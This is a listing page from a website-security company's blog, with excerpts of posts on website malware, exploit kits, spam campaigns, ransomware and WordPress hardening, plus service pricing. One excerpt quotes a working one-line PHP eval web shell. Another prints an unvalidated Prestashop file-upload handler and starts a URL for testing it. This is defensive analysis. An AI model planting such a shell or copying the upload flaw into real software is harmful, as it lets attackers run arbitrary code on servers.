Quttera web security blog

Bot Infected Website To Execute IRC-Based DDos Attacks

21 Jul, 2017 hacking ddos remove malware malware cleanup

Introduction Malicious wrongdoings are not always updated. But the attack vectors are. Hackers are constantly evolving their way of attacks. But once the infiltration succeeds they will just use good old techniques as they are already on your server and no further sophisticated obfuscation is required. We have uncovered a new malware that uses websites to perform DDoS attacks. Malicious code was uploaded to the website and run the bot to perform whatever the hacker wants it to do.

Free Web Exploits In The Dark Web

19 Jun, 2017 hacking bitcoin phishing remove malware malware cleanup hacking joomla malware vulnerability exploits antimalware

Introduction Site after site is being hacked every second that we spent on the internet. Many of these are commercial sites that involve money or sensitive information crucial to the website owner. How are these sites being hacked anyway? First and essential step in the cyber attack planning, that we already stressed in previous posts, is the security information gathering on potential victim websites. Since the majority of the commercial sites are created using CMS (Content Management System), the information on the underlying code is publicly available.

Short, Simple And Effective Generic PHP Backdoor Malware

14 Jun, 2017 php malware remove malware malware cleanup hacking check website for malware

PHP is a general server-side scripting language providing very reach arsenal for web development. As a part of it, PHP provides broad capabilities to develop generic shells that can run on almost every website. In the recent website malware cleanup process we detected generic shell that occupied only 18 characters. The following is the code of this shell capable of executing any arbitrary malicious content submitted by attackers. <?php @eval($_POST[yt]); This shell has three major parts @ - PHP Error control operator making PHP interpreter to ignore any occured error (http://php.

Simple Tip To Secure Your WordPress Website

11 Jun, 2017 blacklisted website malware removal malware cleanup remove malware wordpress malware hacking

Introduction Each automated or manual cyber attack starts with gathering as much information about the targeted website or server as possible. Usually, the first step would be the “poc scanning”, which aims to locate and identify an execution environment setup. Website owners tend to neglect the protection of such information and probably not aware of the risk accompanied. In this post, you will learn a simple technique that you can use to improve your website security.

Hardening WordPress Website

29 May, 2017 blacklisted website malware removal malware cleanup remove malware wordpress malware hacking php malware

Introduction Among the Content Management Systems (CMS) the WordPress is probably the most popular. Our statistics in the Annual Website Malware Report | 2016 show WordPress as leading CMS in 2016. Due to its popularity, it is also prone to vulnerabilities. In the same report it can be seen that 76% of our infected customers were using WordPress. What Are The Main Components Of The WordPress Installation? Each WordPress website has three main parts:

Propagation Of The 5 Year Old Bot

4 May, 2017 blacklisted website malware removal malicious javascript malware cleanup remove malware

Introduction We have encountered a 5-year-old malware while cleaning up one of our customer's website. The malware used a drive-by download method to infect the users. What is Drive-by Download? The drive-by download is an attack vector wherein the users are downloading the payload without their knowledge or consent. It usually happens during the visit to an infected site, reviewing an email or by just clicking a popup advertisement. What does the payload do?

Joomla Templates Under Hacking Attack

21 Apr, 2017 blacklisted website malware removal malicious javascript malware cleanup Joomla! malware remove malware

Introduction This short post is about recent attack that targets the Joomla! Content Management System's and specifically its templates. We decided that it is worth to spread the word about it after our malware experts resolved numerous similar incidents. Attack On Joomla! Templates The file index.php contains a malicious script that calls its main component like the snippet below: But if you view the site source via the web, the added script just before the head tag looks like this: Note: For stat88b.

Adware in Free CMS Plugins

29 Mar, 2017 blacklisted website malware removal malicious javascript malware cleanup adware malicious ads remove malware

Introduction As for the definition in CMS (Content Management System), a plugin is a collection of code files that adds one or more features to your website. After you install the core code for your CMS, you can install your choice of plugins. Depending on the nature and the design of your site, you can choose from thousands of plugins available on the internet. Our incident response team encountered one peculiar issue where the website got blacklisted for distributing adware to its visitors.

Compromised Ads Lead Visitors To Install App From The Google Play Store

27 Dec, 2016 blacklisted website malware removal malicious javascript malware cleanup spam malicious ads remove malware

Ads has been spreading all over the internet starting from any social networking sites to almost everything. Some ads are plain and straightforward, and some are horrific and disturbing. Like this one that we got just last week. When we checked a link, it showed these images below: And it will take you to the Play Store to download an app. If you are still unaware, along with the helpful and useful apps the Google Play Store is infested with a lot of malicious apps.

HTTP 404 Error To Generate And Serve Custom SPAM Pages

25 Dec, 2016 blacklisted website malware removal malware cleanup remove malware spam hacking website malware cleanup php malware wordpress malware

Background One of the most recognizable errors encountered on the Internet is the “404 Not Found” page. The website hosting server usually generates such error when a visitor attempts to access a page that does not exist (broken or dead link). Webmasters can configure the servers to display a customized and more user-friendly 404 error page offering the sitemap, branding or other helpful information. This post shows how the hackers that broke into the web server through the compromised website exploited this mechanism to serve SPAM.

Self-Recovering Spam Bot Launched Exploitation From Entire IP Sub-Network

11 Dec, 2016 blacklisted website malware removal malicious javascript malware cleanup spam remove malware

Background It is not a surprise that a Weak Password leads to a compromised website. What is not upfront obvious is the scale of the damage that could happen when such necessary security measure as a Strong Password is neglected. It is a must for every company and business to enforce strict policy for the creation and proper maintenance of the authentication details on every level and across all of the assets.

Your Apple ID Was Recently Used On A New Device (SPAM-Phishing)

9 Dec, 2016 blacklisted website malware removal malicious javascript malware cleanup spam remove malware

Background There is a wide blasting of SPAM emails that pretended to be a legitimate letter from Apple about your user account being used on a new device. Due to people's instinct to click on any link embedded in the email without analyzing the content, SPAM campaigns are usually very effective when disguised under a well known brand. SPAM investigation Let's take a deep look and spot the flaws of the email:

Happy Birthday CVE-2015-8562 (Object Injection Remote Command Execution)

8 Nov, 2016 blacklisted website malware removal malicious javascript malware cleanup remove malware joomla malware

Background As it turned out during the malware clean-up of customer websites, hackers were using exactly this type of exploit to attack the site. Furthermore, the site got reinfected with malware as soon as someone accessed it. We got alarmed as the reinfection was so sudden, so we dig deeply and found out something else. Website Malware Incident Investigation Upon checking the access logs of the site, we found a very nifty but familiar entry on the records as shown below:

Self-recovering Black SEO & Spam Infection Hits WordPress Installations

27 Oct, 2016 blacklisted website malware removal malicious javascript malware cleanup spam remove malware

Background There is a Black SEO/Spam poisoning campaign running that targets mainly the WordPress websites. While handling several incidents related to it, we have discovered a new self-recovering WordPress oriented malware among other malicious components. Let’s take a look at all of them. Backdoors To Control The Attacked Website We still don’t know if there is any relation between infections but all of the examined websites contained numerous generic PHP shells and backdoors which names have the following format:

Prestashop VTEM Skitter Modules File Upload Vulnerability

23 Oct, 2016 blacklisted website malware removal malicious javascript prestashop malware ecommerce infection

During our incident response to the client's website, we found a vulnerability in the VTEM Skitter module of Prestashop CMS. Here is the code snippet of the uploadimage.php: $uploaddir = ‘./img/’; $uploadfile = normalize(pregreplace(‘/ /’, ‘’, basename($_FILES[‘userfile’][‘name’]))); if (move_uploaded_file($_FILES[‘userfile’][‘tmp_name’], $uploaddir.$uploadfile)) echo ‘success:‘.$uploadfile; else echo ‘error’; To test if your site is vulnerable, try going to your favourite browser and enter the following in the address bar: http:///modules/vtemskitter/uploadimage.

Instant Ransomware For Unpatched Websites

22 Oct, 2016 blacklisted website malware removal malicious javascript malware cleanup remove malware ransomware

Information has been scattered all over the internet. Links after links are being distributed over the web through Facebook, Youtube, blogs, emails, text messages and any other form of online communication. Having said that, this also includes good and bad links which can cause problems to the visitors of these links. Unpatched sites are being exploited with a lot of infected redirections and do contain payloads to attack. A couple of weeks ago, we received a report about an unauthorized connection that the site makes whenever a visitor checks it.

Rig Exploit Kit - Responsible For At Least One-Third Of Malware In 2016

16 Oct, 2016 blacklisted website malware removal malicious javascript

There is no such thing as a perfect web application. Some software vulnerabilities have been there since the very first application was created. The majority of today's exploitation can lead to the automatic execution of arbitrary codes without the users' permission. In this post, we show the Rig Exploit Kit's attack flow. Quttera's malware researchers uncovered and removed this malware for one of our ThreatSign customer websites. Rig Exploit Kit has been thunderous, and it is widely used by the hackers to distribute malware over the internet.

From Compromised Website To Ransomware Infection

10 Oct, 2016 blacklisted website malware removal malicious javascript malware cleanup remove malware ransomware

Ransomware has become very frequent this year, and our malware researchers encounter more and more cases of cryptographic file-locking attacks. Easiness of deploying, the wide range of targets and clear business model are probably the main reasons for such popularity of this kind of malware among cyber criminals. Any company or organization is a potential target as it has been proven earlier this year when U.S. hospital computers and cancer treatment equipment were shut down due to ransomware.

Infected Websites: How Bad Can It Be

30 Sep, 2016 blacklisted website malware removal malicious javascript

Infected Websites: How bad can it be? Here are the top reasons for having a website: Information Dissemination Personal Biography Marketing your business Online shopping Let's have a look at sample scenario: Your new and shiny website is ready and goes online to serve your goals. You are enjoying every activity involved in building up your online presence like sharing information, marketing your business, serving your online shoppers and much more.

Deobfuscation Made Easy With MalwareDecoder.com

4 Sep, 2016 blacklisted website malware removal malicious javascript

Deobfuscation made easy with MalwareDecoder.com Battling malware has been a very competitive and very fulfilling task nowadays. It brings joy and confidence to each Malware Analyst that can discover or unravel the code being used for an attack or infection. We at Quttera, were able to help other Malware Analysts with their tasks by providing tools for them to be used in their analysis. We have tested it with one of the suspicious files that we got on one of our clean ups.

Malware clean-up and hacking recovery for websites

Get your website cleaned and removed from blacklists. Prevent traffic loss and protect your visitors now.

Emergency
$249 / yr
1 Website
Initial Response Time within 4 hrs.
Manual Malware Removal / Full Website Audit
Blacklisting removal
Web Application Firewall (DNS-based WAF or Endpoint WAF)
Virtual Patching and website hardening
Free SSL Certificate with the DNS-based Web Application Firewall
all features...
Create Account

Essential Security
$10 / mo
1 Website
Initial Response Time within 12 hrs.
Web Application Firewall (DNS-based WAF or Endpoint WAF)
Virtual Patching and website hardening
Free SSL Certificate with the DNS-based Web Application Firewall
External & Internal Malware Scanning
all features...
Create Account

more plans

Need help? contactus@quttera.com

Join our mailing list to receive free email updates

Subscribe now

Latest Posts

tag

Quttera | BLOG

A blog about real-life cybersecurity attacks, web malware and how to protect your website and online business from cybercriminals.